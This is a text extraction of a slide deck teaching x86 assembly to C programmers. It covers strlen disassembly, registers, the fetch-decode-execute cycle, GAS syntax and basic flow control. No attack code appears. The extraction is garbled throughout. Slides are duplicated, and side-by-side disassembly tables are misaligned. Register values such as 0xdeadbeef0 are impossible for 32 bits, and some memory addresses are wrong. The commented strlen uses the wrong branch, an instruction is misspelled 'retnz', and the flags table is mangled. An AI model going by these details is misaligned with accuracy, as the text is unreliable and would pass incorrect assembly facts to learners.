x86 Assembly Primer for C Programmers

Ivan Sergeev

https://github.com/vsergeev/apfcp
git clone git://github.com/vsergeev/apfcp.git

January 22/24, 2013
Introduction and Example
Why Assembly?

- Embedded Systems
- Well-characterized execution time
- Bootstrapping an OS
- Compilers
- Debugging
- Fancy instructions
Why Assembly?

- Embedded Systems
- Well-characterized execution time
- Bootstrapping an OS
- Compilers
- Debugging
- Fancy instructions

- Sharpened intuition on computing
  - Gut instinct on implementation and feasibility
  - Justification for liking powers of two
  - Turing completeness is a special cage
Reasonable implementation of strlen() in C:

```c
size_t ex_strlen(const char *s) {
    size_t i;
    for (i = 0; *s != '\0'; i++)
        s++;
    return i;
}
```
Let’s compile and disassemble it.

$ gcc -O1 example-strlen.c -o example-strlen
$ objdump -d example-strlen

...  
080483b4 <ex_strlen>:  
80483b4:   8b 54 24 04  mov    0x4(%esp),%edx  
80483b8:   b8 00 00 00 00  mov    $0x0,%eax  
80483bd:   80 3a 00  cmpb   $0x0,(%edx)  
80483c0:   74 09  je    80483cb <ex_strlen+0x17>  
80483c2:   83 c0 01  add    $0x1,%eax  
80483c5:   80 3c 02 00  cmpb   $0x0,(%edx,%eax,1)  
80483c9:   75 f7  jne   80483c2 <ex_strlen+0xe>  
80483cb:   f3 c3  repz ret  
...

- Output of optimization levels 2 and 3 only differs with added padding bytes for memory alignment.
Commented disassembly for `ex_strlen()`:

```assembly
# size_t strlen(const char *s);
ex_strlen:
    mov 0x4(%esp),%edx    # %edx = argument s
    mov $0x0,%eax         # %eax = 0
    cmpb $0x0,(%edx)      # Compare *(%edx) with 0x00
    jne loop             # If not equal, jump to add

loop:
    add $0x1,%eax         # %eax += 1
    cmpb $0x0,(%edx,%eax,1) # Compare *(%edx + %eax*1), 0x00
    jne loop             # If not equal, jump to add

end:
    repz ret             # Return, return value in %eax
```

```c
size_t strlen(const char *s);
```
glibc strlen (example-strlen.c)

glibc’s i386 implementation of strlen():

$ cat glibc/sysdeps/i386/strlen.c

... size_t strlen (const char *str)
{
    int cnt;

    asm("cld\n"    /* Search forward. */
        /* Some old versions of gas need ‘repne’ instead of ‘repnz’. */
        "repnz\n"   /* Look for a zero byte. */
        "scasb"   /* %0, %1, %3 */:
        "=c" (cnt): "D" (str), "0" (-1), "a" (0));

    return -2 - cnt;
}
...
Let’s compile and disassemble it.

```
$ gcc -O1 example-strlen.c -o example-strlen
$ objdump -d a.out
```

```
080483cd <glibc_strlen>:
  80483cd: 57            push   %edi
  80483ce: b9 ff ff ff ff      mov $0xffffffff,%ecx
  80483d3: b8 00 00 00 00      mov $0x0,%eax
  80483d8: 8b 7c 24 08        mov 0x8(%esp),%edi
  80483dc: fc            cld
  80483dd: f2 ae           repnz scas %es:(%edi),%al
  80483df: b8 fe ff ff ff      mov $0xffffffff,%eax
  80483e4: 29 c8               sub %ecx,%eax
  80483e6: 5f            pop    %edi
  80483e7: c3            ret

..
Disassembly side-by-side

A side-by-side comparison of the disassembly:

<table>
<thead>
<tr>
<th>&lt;ex_strlen&gt;:</th>
<th>&lt;glibc_strlen&gt;:</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong># Initialization</strong></td>
<td><strong># Initialization</strong></td>
</tr>
<tr>
<td><code>8b 54 24 04</code></td>
<td><code>57</code></td>
</tr>
<tr>
<td><code>b8 00 00 00 00</code></td>
<td><code>b9 ff ff ff ff</code></td>
</tr>
<tr>
<td><code>80 3a 00</code></td>
<td><code>b8 00 00 00 00</code></td>
</tr>
<tr>
<td><code>74 09</code></td>
<td><code>8b 7c 24 08</code></td>
</tr>
<tr>
<td><code>je 80483cb &lt;ex_strlen+0x17&gt;</code></td>
<td><code>f2 ae</code></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong># Main loop</strong></th>
<th><strong># Main loop</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>83 c0 01</code></td>
<td><code>f2 ae</code></td>
</tr>
<tr>
<td><code>80 3c 02 00</code></td>
<td><code>repnz scas %es:(%edi),%al</code></td>
</tr>
<tr>
<td><code>75 f7</code></td>
<td><code># End</code></td>
</tr>
<tr>
<td><code>jne 80483c2 &lt;ex_strlen+0xe&gt;</code></td>
<td><code>b8 fe ff ff ff</code></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong># End</strong></th>
<th><strong># End</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>f3 c3</code></td>
<td><code>b8 fe ff ff ff</code></td>
</tr>
<tr>
<td><code>repz ret</code></td>
<td><code>mov $0xfffffffffe,%eax</code></td>
</tr>
<tr>
<td><code>29 c8</code></td>
<td><code>29 c8</code></td>
</tr>
<tr>
<td><code>sub %ecx,%eax</code></td>
<td><code>sub %ecx,%eax</code></td>
</tr>
<tr>
<td><code>5f</code></td>
<td><code>5f</code></td>
</tr>
<tr>
<td><code>pop %edi</code></td>
<td><code>pop %edi</code></td>
</tr>
<tr>
<td><code>c3</code></td>
<td><code>c3</code></td>
</tr>
<tr>
<td><code>ret</code></td>
<td><code>ret</code></td>
</tr>
</tbody>
</table>
Disassembly side-by-side

A side-by-side comparison of the main loop disassembly:

<table>
<thead>
<tr>
<th>&lt;ex_strlen&gt;:</th>
<th>&lt;glibc_strlen&gt;:</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td># Main loop</td>
<td># Main loop</td>
</tr>
<tr>
<td>83 c0 01</td>
<td>f2 ae</td>
</tr>
<tr>
<td>add $0x1,%eax</td>
<td>repnz scas %es:(%edi),%al</td>
</tr>
<tr>
<td>80 3c 02 00</td>
<td>75 f7</td>
</tr>
<tr>
<td>cmpb $0x0,(%edx,%eax,1)</td>
<td>jne 80483c2 &lt;ex_strlen+0xe&gt;</td>
</tr>
<tr>
<td>75 f7</td>
<td>...</td>
</tr>
</tbody>
</table>

- **glibc’s i386 strlen()”main loop” is only 2 bytes!**
- **In fact, it’s only one instruction: repnz scas (%edi),%al.**
Disassembly side-by-side

A side-by-side comparison of the main loop disassembly:

<table>
<thead>
<tr>
<th>&lt;ex_strlen&gt;:</th>
<th>&lt;glibc_strlen&gt;:</th>
</tr>
</thead>
<tbody>
<tr>
<td># Main loop</td>
<td># Main loop</td>
</tr>
<tr>
<td>83 c0 01</td>
<td>f2 ae</td>
</tr>
<tr>
<td>add $0x1,%eax</td>
<td>repnz scas %es:(%edi),%al</td>
</tr>
<tr>
<td>80 3c 02 00</td>
<td></td>
</tr>
<tr>
<td>cmpb $0x0,(%edx,%eax,1)</td>
<td></td>
</tr>
<tr>
<td>75 f7</td>
<td>jne 80483c2 &lt;ex_strlen+0xe&gt;</td>
</tr>
</tbody>
</table>

- glibc's i386 `strlen()` "main loop" is only 2 bytes!
  - In fact, it’s only one instruction: `retnz scas (%edi),%al`.
- Reasonable `strlen`’s "main loop" is three instructions, with a conditional branch `jne 0x80483c2`.
Disassembly side-by-side

A side-by-side comparison of the main loop disassembly:

```
<ex_strlen>:
...
# Main loop
83 c0 01 add $0x1,%eax
80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
75 f7 jne 80483c2 <ex_strlen+0xe>
...
```

```
<glibc_strlen>:
...
# Main loop
f2 ae repnz scas %es:(%edi),%al
...
```

- **glibc’s i386 strlen() ”main loop” is only 2 bytes!**
  - In fact, it’s only one instruction: repnz scas (%edi),%al.
- **Reasonable strlen’s ”main loop” is three instructions, with a conditional branch jne 0x80483c2.**
- **An older example of when hand-assembly utilized processor features for a more efficient implementation**
- **glibc’s i486 and i586 implementations of strlen() are still assembly, but much more complicated, taking into account memory alignment and processor pipeline**
Table of Contents
Table of Contents

Outline

- Topic 1: State, Instructions, Fetch-Decode-Execute
- Topic 2: Arithmetic, and Data Transfer
- Basic Tools
- Topic 3: Flow Control
- Program Example: Iterative Fibonacci
- Topic 4: Program Memory
- Topic 5: Reading/Writing Memory
- Program Example: Morse Encoder
- Topic 6: Stack
- Topic 7: Functions and cdecl Convention
- Entry Points
- Program Example: 99 Bottles of Beer on the Wall
- Topic 8: Stack Frames
Table of Contents

Outline

- Topic 9: Command-line Arguments
  Program Example: Linked List
- Topic 10: System Calls
  Program Example: tee
- Advanced Topic 11: Role of libc
- Advanced Topic 12: x86 String Operations
- Advanced Topic 13: Three Simple Optimizations
- Advanced Topic 14: x86 Extensions
- Advanced Topic 15: Stack-based Buffer Overflows
- Extra Topic 1: Intel/nasm Syntax
- Extra Topic 2: x86-64 Assembly
- Resources and Next Steps
Topic 1: State, Instructions, Fetch-Decode-Execute
State and Instructions

- State is retained information
  - CPU Registers: small, built-in, referred to by name (%eax, %ebx, %ecx, %edx, ...)
  - Memory: large, external, referred to by address (0x80000000, ...)

- Instructions affect and/or use state
  - Add a constant to a register, subtract two registers, write to a memory location, jump to a memory location if a flag is set, etc.
State and Instructions

- State is retained information
  - CPU Registers: small, built-in, referred to by name (%eax, %ebx, %ecx, %edx, ...)
  - Memory: large, external, referred to by address (0x80000000, ...)

- Instructions affect and/or use state
  - Add a constant to a register, subtract two registers, write to a memory location, jump to a memory location if a flag is set, etc.

- Sufficient expressiveness of instructions makes a CPU Turing complete, provided you have infinite memory
Original 8086/8088

- %ax: %ah %al
- %bx: %bh %bl
- %cx: %ch %cl
- %dx: %dh %dl
- %si
- %di
- %sp
- %bp
- %ip
- %flags

Segment registers: %cs, %ds, %ss, %es

Original 8086 was a 16-bit CPU
386+ is a 32-bit CPU, all registers extended to 32-bits
- Registers + Memory comprise (almost) total system state
Instructions

- x86 instructions manipulate CPU registers, memory, and I/O ports
- Encoded as numbers, sitting in memory like any other data
- Uniquely defined for each architecture in its instruction set
- %eip contains address of next instruction
Instructions

- x86 instructions manipulate CPU registers, memory, and I/O ports
- Encoded as numbers, sitting in memory like any other data
- Uniquely defined for each architecture in its **instruction set**
- `%eip` contains address of next instruction

**Fetch-Decode-Execute Simplified CPU Model**
- CPU **fetches** data at address `%eip` from main memory
- CPU **decodes** data into an instruction
- CPU **executes** instruction, possibly manipulating memory, I/O, and its own state, including `%eip`
Topic 1: State, Instructions, Fetch-Decode-Execute

Instruction Fetch-Decode-Execute

386+ CPU

<table>
<thead>
<tr>
<th>%eax</th>
<th>0xdeadbeef</th>
</tr>
</thead>
<tbody>
<tr>
<td>%ebx</td>
<td>0x00000000</td>
</tr>
<tr>
<td>%ecx</td>
<td>0x00000001</td>
</tr>
<tr>
<td>%edx</td>
<td>0xffffffff</td>
</tr>
<tr>
<td>%esi</td>
<td>0x08049700</td>
</tr>
<tr>
<td>%edi</td>
<td>0x08049804</td>
</tr>
<tr>
<td>%ebp</td>
<td>0xbffff25c</td>
</tr>
<tr>
<td>%esp</td>
<td>0xbffff25c</td>
</tr>
<tr>
<td>%eip</td>
<td>0x00000018</td>
</tr>
<tr>
<td>%flags</td>
<td>0x002000246</td>
</tr>
</tbody>
</table>

Instruction Fetch, Decode, Execute Machinery

Memory

<table>
<thead>
<tr>
<th>Address</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000:</td>
<td>05 af 42 88</td>
</tr>
<tr>
<td>00000004:</td>
<td>9b 59 13 6e</td>
</tr>
<tr>
<td>00000008:</td>
<td>83 37 2c 1e</td>
</tr>
<tr>
<td>0000000c:</td>
<td>2e 41 de f4</td>
</tr>
<tr>
<td>00000010:</td>
<td>f7 97 0e 86</td>
</tr>
<tr>
<td>00000014:</td>
<td>9b 23 49 bb</td>
</tr>
<tr>
<td>00000018:</td>
<td>83 c0 0f 89</td>
</tr>
<tr>
<td>0000001c:</td>
<td>c3 89 d9 a3</td>
</tr>
<tr>
<td>00000020:</td>
<td>99 ae 2f 8a</td>
</tr>
<tr>
<td>00000024:</td>
<td>ea ca 3d 7b</td>
</tr>
</tbody>
</table>

Legacy I/O
Instruction Fetch-Decode-Execute

386+ CPU

%eax 0xdeadbeef
%ebx 0x00000000
%ecx 0x00000001
%edx 0xffffffff
%esi 0x08049700
%edi 0x08049804
%ebp 0xbffff25c
%esp 0xbffff25c
%eip 0x00000018
%flags 0x00200246

Instruction Fetch, Decode, Execute

Memory

00000000: 05 af 42 88
00000004: 9b 59 13 6e
00000008: 83 e7 2c 1e
0000000c: 2e 41 de f4
00000010: f7 97 0e 86
00000014: 9b 23 49 bb
00000018: 83 c0 01 89
0000001c: c3 89 d9 a3
00000020: 99 ae 2f 8a
00000024: ea ca 3d 7b

Address

0x00000018

Legacy I/O

Fetch from %eip

83 c0 01 89

Data

83 c0 01 89
Instruction Fetch-Decode-Execute

386+ CPU

%eax 0xdeadbeef  %esi 0x08049700
%ebx 0x00000000  %edi 0x08049804
%ecx 0x00000001  %ebp 0x0fffffff
%edx 0xffffffff  %esp 0x0fffffff
%eip 0x00000018  %flags 0x002000246

Instruction Fetch, Decode, Execute
Machinery

Memory

00000000: 05 af 42 88
00000004: 9b 59 13 6e
00000008: 83 e7 2c 1e
0000000c: 2e 41 de f4
00000010: f7 97 0e 86
00000014: 9b 23 49 bb
00000018: 83 c0 01 89
0000001c: c3 89 d9 a3
00000020: 99 ae 2f 8a
00000024: ea ca 3d 7b

Legacy I/O

Decode

83 c0 01  89

Add 1 to %eax
386+ CPU

Memory

Instruction Fetch, Decode, Execute

Add 1 to %eax

%eax = %eax + 1

%eip = %eip + 3
# Topic 1: State, Instructions, Fetch-Decode-Execute

## Instruction Fetch-Decode-Execute

### 386+ CPU

<table>
<thead>
<tr>
<th>%eax</th>
<th>0xdeadbeef0</th>
<th>%esi</th>
<th>0x08049700</th>
</tr>
</thead>
<tbody>
<tr>
<td>%ebx</td>
<td>0x00000000</td>
<td>%edi</td>
<td>0x08049804</td>
</tr>
<tr>
<td>%ecx</td>
<td>0x00000001</td>
<td>%ebp</td>
<td>0xbffff25c</td>
</tr>
<tr>
<td>%edx</td>
<td>0xffffffff</td>
<td>%esp</td>
<td>0xbffff25c</td>
</tr>
<tr>
<td>%eip</td>
<td>0x0000001b</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%eflags</td>
<td>0x00200246</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Instruction **Fetch, Decode, Execute**

### Memory

| 00000000: 05 af 42 88 |
| 00000004: 9b 59 13 6e |
| 00000008: 83 e7 2c 1e |
| 0000000c: 2e 41 de f4 |
| 00000010: f7 97 0e 86 |
| 00000014: 9b 23 49 bb |
| 00000018: 83 c0 01 89 |
| 0000001c: c3 89 d9 a3 |
| 00000020: 99 ae 2f 8a |
| 00000024: ea ca 3d 7b |

**Address**: 0x0000001b

**Data**: 89 c3 89 d9

**Legacy I/O**

**Fetch from %eip**: 89 c3 89 d9
### Instruction Fetch-Decode-Execute

#### 386+ CPU

<table>
<thead>
<tr>
<th>%eax</th>
<th>0xdeadbeef</th>
<th>%esi</th>
<th>0x08049700</th>
</tr>
</thead>
<tbody>
<tr>
<td>%ebx</td>
<td>0x00000000</td>
<td>%edi</td>
<td>0x08049804</td>
</tr>
<tr>
<td>%ecx</td>
<td>0x00000001</td>
<td>%ebp</td>
<td>0xbffff25c</td>
</tr>
<tr>
<td>%edx</td>
<td>0xffffffff</td>
<td>%esp</td>
<td>0xbffff25c</td>
</tr>
<tr>
<td>%eip</td>
<td>0x00000018</td>
<td>%flags</td>
<td>0x00200246</td>
</tr>
</tbody>
</table>

Instruction Fetch, **Decode**, Execute Machinery

#### Memory

<table>
<thead>
<tr>
<th>00000000:</th>
<th>05 af 42 88</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000004:</td>
<td>9b 59 13 6e</td>
</tr>
<tr>
<td>00000008:</td>
<td>83 e7 2c 1e</td>
</tr>
<tr>
<td>0000000c:</td>
<td>2e 41 de f4</td>
</tr>
<tr>
<td>00000010:</td>
<td>f7 97 0e 86</td>
</tr>
<tr>
<td>00000014:</td>
<td>9b 23 49 bb</td>
</tr>
<tr>
<td>00000018:</td>
<td>83 c0 01 89</td>
</tr>
<tr>
<td>0000001c:</td>
<td>c3 89 d9 a3</td>
</tr>
<tr>
<td>00000020:</td>
<td>99 ae 2f 8a</td>
</tr>
<tr>
<td>00000024:</td>
<td>ea ca 3d 7b</td>
</tr>
</tbody>
</table>

#### Legacy I/O

#### Decode

```
89 c3 89 d9
```

Copy %eax to %ebx
Instruction Fetch-Decode-Execute

386+ CPU

%eax 0xdeadbeef0
%ebx 0xdeadbeef0
%ecx 0x00000001
%edx 0xffffffff
%esi 0x08049700
%edi 0x08049804
%ebp 0xbffff25c
%esp 0xbffff25c
%eip 0x0000001d
%eflags 0x002000246

Instruction Fetch, Decode, Execute Machinery

Legacy I/O

Copy %eax to %ebx
%ebx = %eax
%eip = %eip + 2

Memory

00000000: 05 af 42 88
00000004: 9b 59 13 6e
00000008: 83 e7 2c 1e
0000000c: 2e 41 de f4
00000010: f7 97 0e 86
00000014: 9b 23 49 bb
00000018: 83 c0 01 89
0000001c: c3 89 d9 a3
00000020: 99 ae 2f 8a
00000024: ea ca 3d 7b

Execute

89 c3
89 d9
Instruction Fetch-Decode-Execute

386+ CPU

| %eax  | 0xdeadbeef0 | %esi  | 0x08049700 |
| %ebx  | 0xdeadbeef0 | %edi  | 0x08049804 |
| %ecx  | 0x00000001  | %ebp  | 0xbffff25c  |
| %edx  | 0xffffffff  | %esp  | 0xbffff25c  |

%eip  0x0000001d
%flags  0x000200246

Instruction Fetch, Decode, Execute Machinery

Memory

<table>
<thead>
<tr>
<th>Address</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>05 af 42 88</td>
</tr>
<tr>
<td>0x00000004</td>
<td>9b 59 13 6e</td>
</tr>
<tr>
<td>0x00000008</td>
<td>83 e7 2c 1e</td>
</tr>
<tr>
<td>0x0000000c</td>
<td>2e 41 df f4</td>
</tr>
<tr>
<td>0x00000100</td>
<td>f7 97 0e 86</td>
</tr>
<tr>
<td>0x00000140</td>
<td>9b 23 4f bb</td>
</tr>
<tr>
<td>0x00000180</td>
<td>83 c0 01 89</td>
</tr>
<tr>
<td>0x000001c0</td>
<td>c3 89 d9 a3</td>
</tr>
<tr>
<td>0x00000200</td>
<td>99 ae 2f 8a</td>
</tr>
<tr>
<td>0x00000240</td>
<td>ea ca 3d 7b</td>
</tr>
</tbody>
</table>

Legacy I/O

Fetch from %eip

89 d9 a3 99
Sampling of Core 386+ User Instructions

- **Arithmetic:** adc, add, and, cmp, dec, div, idiv, imul, inc, mul, neg, not, or, rcl, rcr, rol, ror, sal, sar, sbb, shl, shr, sub, test, xor, lea
- **Flags:** clc / stc, cld / std, cli / sti, cmc
- **String:** cmpsb / cmpsw, lodsb / lodsw, movsb / movsw, scasb / scasw, stosb / stosw, repxx
- **Stack:** push, pop
- **Memory:** mov
- **Flow Control:** call, jxx, jmp, ret / retn / retf, loop/loopxx
- **Operating System:** int, into, iret, hlt, pushf, popf, popad, popfd, pushad
- **Input/Output:** in, out
- **Misc:** aaa, aad, aam, aas, daa, cbw, cwd, lahf, lds, les, lock, wait, xchg, xlat, nop
Topic 2: Arithmetic, and Data Transfer
Instructions in Assembly

- Instructions represented by a mnemonic and operands
- AT&T/GAS syntax
  - No operands: <mnemonic>
    - nop
  - One operand: <mnemonic> <dest>
    - incl %eax
  - Two operands: <mnemonic> <src>,<dest>
    - addl $0x1, %eax
Instructions in Assembly

- Instructions represented by a mnemonic and operands
- AT&T/GAS syntax
  - **No operands:** `<mnemonic>`
    - `nop`
  - **One operand:** `<mnemonic> <dest>`
    - `incl %eax`
  - **Two operands:** `<mnemonic> <src>,<dest>`
    - `addl $0x1, %eax`

- Source and destination operands are typically one of:
  - **Register:** `%eax, %ebx, %ecx, %edx, etc.`
    - `movl %eax, %ebx`
  - **Immediate:** constant value embedded in the instruction encoding
    - `movl $0x1, %eax`
  - **Memory:** constant value representing an absolute (0x80000000) or relative address (+4)
    - `movl 0x80000000, %eax`
Example Arithmetic and Data Transfer (example-arith-mov.S)

```assembly
.section .text

nop # ; (Do nothing!)

# add, sub, adc, and, or, xor
addl %eax, %ebx # %ebx = %ebx + %eax
addl magicNumber, %ebx # %ebx = %ebx + *(magicNumber)
addl %ebx, magicNumber # *(magicNumber) = *(magicNumber) + %ebx
addl $0x12341234, %ebx # %ebx = %ebx + 0x12341234

# inc, dec, not, neg
decl %eax # %eax--
decw %ax # %ax--
decb %al # %al--

# rol, rcl, shl, shr, sal, sar
shrl $3, %eax # %eax = %eax >> 3
shrl $3, magicNumber # *(magicNumber) = *(magicNumber) >> 3

# mov
movl %eax, %ebx # %ebx = %eax
movl magicNumber, %eax # %eax = *(magicNumber)
movl %eax, magicNumber # *(magicNumber) = %eax

.section .data

magicNumber: .long 0xdeadbeef # *magicNumber = 0xdeadbeef;
```
Ex. Arithmetic and Data Transfer (example-arith-mov.S) Disassembly

$ as example-arith-mov.S -o example-arith-mov.o
$ ld example-arith-mov.o -o example-arith-mov
$ objdump -D example-arith-mov

Disassembly of section .text:
08048074 <.text>:
  8048074:  90          nop
  8048075:  01 c3       add     %eax,%ebx
  8048077:  03 1d a4 90 04 08 add     0x80490a4,%ebx
  804807d:  01 1d a4 90 04 08 add     %ebx,0x80490a4
  8048083:  81 c3 34 12 34 12 add     $0x12341234,%ebx
  8048089:  48          dec     %eax
  804808a:  66 48       dec     %ax
  804808c:  fe c8       dec     %al
  804808e:  c1 e8 03    shr     $0x3,%eax
  8048091:  c1 2d a4 90 04 08 03 shrl    $0x3,0x80490a4
  8048098:  89 c3       mov     %eax,%ebx
  804809a:  a1 a4 90 04 08 mov     0x80490a4,%eax
  804809f:  a3 a4 90 04 08 mov     %eax,0x80490a4

Disassembly of section .data:
080490a4 <magicNumber>:
  80490a4:  ef          out     %eax,(%dx)
  80490a5:  be          .byte 0xbe
  80490a6:  ad          lods     %ds:(%esi),%eax
  80490a7:  de          .byte 0xde
A Note on GAS Syntax

- Syntax
  - % precedes a register: %eax
  - $ precedes a constant: $5, $0xff, $07, $’A, $0b111
  - . precedes a directive: .byte, .long, .ascii, .section, .comm
  - # precedes a comment
A Note on GAS Syntax

- **Syntax**
  - `%` precedes a register: `%eax`
  - `$` precedes a constant: `$5`, `$0xff`, `$07`, `$'A`, `$0b111`
  - `.` precedes a directive: `.byte`, `.long`, `.ascii`, `.section`, `.comm`
  - `#` precedes a comment

- **No special character precedes a dereferenced memory address:**
  
  ```
  movl %eax, 0x80000000 # *(0x80000000) = %eax
  ```
A Note on GAS Syntax

- Syntax
  - % precedes a register: %eax
  - $ precedes a constant: $5, $0xff, $07, $’A, $0b111
  - . precedes a directive: .byte, .long, .ascii, .section, .comm
  - # precedes a comment

- No special character precedes a dereferenced memory address:
  - movl %eax, 0x80000000  # *(0x80000000) = %eax

- mylabel: defines a label, a symbol of name mylabel containing the address at that point
A Note on GAS Syntax

Syntax

- % precedes a register: %eax
- $ precedes a constant: $5, $0xff, $07, $’A, $0b111
- . precedes a directive: .byte, .long, .ascii, .section, .comm
- # precedes a comment

No special character precedes a dereferenced memory address:

```
movl %eax, 0x80000000  # *(0x80000000) = %eax
```

mymlabel: defines a label, a symbol of name mymlabel containing the address at that point

Directives

- Place a raw byte: .byte 0xff
- Place a raw short: .short 0x1234
- Place a raw ASCII string: .ascii "Hello World!\0"
- Specify a section (e.g. .text, .data, .rodata, .bss):
  .section <section-name>
A Note on GAS Syntax

- Instruction Size Suffix
  - x86 is backwards compatible to the original 8086
  - Inherited instructions operate on 8-bits, 16-bits, 32-bits
  - Naturally, they often have the same name...

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>GAS Suffix</th>
</tr>
</thead>
<tbody>
<tr>
<td>byte</td>
<td>8-bits</td>
<td>b</td>
</tr>
<tr>
<td>word</td>
<td>16-bits</td>
<td>w</td>
</tr>
<tr>
<td>dword</td>
<td>32-bits</td>
<td>l</td>
</tr>
<tr>
<td>qword</td>
<td>64-bits</td>
<td>q</td>
</tr>
</tbody>
</table>
A Note on GAS Syntax

- **Instruction Size Suffix**
  - x86 is backwards compatible to the original 8086
  - Inherited instructions operate on 8-bits, 16-bits, 32-bits
  - Naturally, they often have the same name...

- GAS supports the syntax `<mnemonic><size>`
  - to unambiguously encode the correct instruction

  ```
  movb $0xff, %al    movw %bx, %ax    movl memAddr, %eax
  incb %ah          incw %ax          incl %eax
  ```

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>GAS Suffix</th>
</tr>
</thead>
<tbody>
<tr>
<td>byte</td>
<td>8-bits</td>
<td>b</td>
</tr>
<tr>
<td>word</td>
<td>16-bits</td>
<td>w</td>
</tr>
<tr>
<td>dword</td>
<td>32-bits</td>
<td>l</td>
</tr>
<tr>
<td>qword</td>
<td>64-bits</td>
<td>q</td>
</tr>
</tbody>
</table>
Basic Tools
Basic Tools

Common Invocations

- Assemble: `as prog.asm -o prog.o`
- Link directly: `ld prog.o -o prog`
- Link with libc: `gcc prog.o -o prog`
- Disassemble: `objdump -D prog`
- View Sections: `objdump -x prog`
- View Symbols: `nm prog`
- Debug Disassembly: `gdb prog`
  - Step instruction: `si`
  - Disassembly layout: `layout asm`
  - Set breakpoint at symbol: `b _start`
  - Set breakpoint at address: `b * 0x80001230`
  - View CPU registers: `info reg`
  - Disassemble next three instructions: `x/3i $eip`
  - View five dwords of memory starting at $esp: `x/5w $esp`
  - View five bytes of memory starting at 0xbfffffff0: `x/5b 0xbfffffff0`
Topic 3: Flow Control
Modifying Flow of Execution

- With most instructions, CPU will increment `%eip` by the executed instruction size to proceed to the next immediate instruction.

```assembly
a_label:
  nop
  addl $5, %eax  # %eax = %eax + 5
  xorl %ecx, %ebx # %ebx = %ebx ^ %ecx

another_label:
  nop
  nop
```

The unconditional `jmp <label>` instruction allows us to explicitly change `%eip` to another address, and continue execution from there.
Modifying Flow of Execution

- With most instructions, CPU will increment `%eip` by the executed instruction size to proceed to the next immediate instruction.

```assembly
a_label:
  nop
  addl $5, %eax  # %eax = %eax + 5
  xorl %ecx, %ebx # %ebx = %ebx ^ %ecx

another_label:
  nop
  nop

The unconditional `jmp <label>` instruction allows us to explicitly change `%eip` to another address, and continue execution from there.

```assembly
a_label:
  nop
  addl $5, %eax  # %eax = %eax + 5
  jmp somewhere_else  # Jump to somewhere_else

another_label:
  ...  # We just skipped over all of this

somewhere_else:
  xorl %ecx, %ebx  # %ebx = %ebx ^ %ecx
```
Topic 3: Flow Control

Modifying Flow of Execution Conditionally

- Certain instructions will set boolean bit flags in the `%eflags` registers based on the result
  - Implicitly, based on result of an arithmetic instruction
  - Explicitly, with `cmp` or `test` between two operands

- Flags are the basis of flow control with conditional jumps, which update `%eip` to a relative offset if an `%eflags` flag is set

| %eflags          | 31 | 30 | 29 | 28 | 27 | 26 | 25 | 24 | 23 | 22 | 21 | 20 | 19 | 18 | 17 | 16 | 15 | 14 | 13 | 12 | 11 | 10 | 9  | 8  | 7  | 6  | 5  | 4  | 3  | 2  | 1  | 0  |
|------------------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|
| I                | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  | 0  |
| D                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| V                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| P                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| A                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| C                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| M                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| R                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| F                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| T                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| I                   |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| O                   |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| F                   |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| EPL                |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| OF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| SF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| ZF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| AF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| PF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
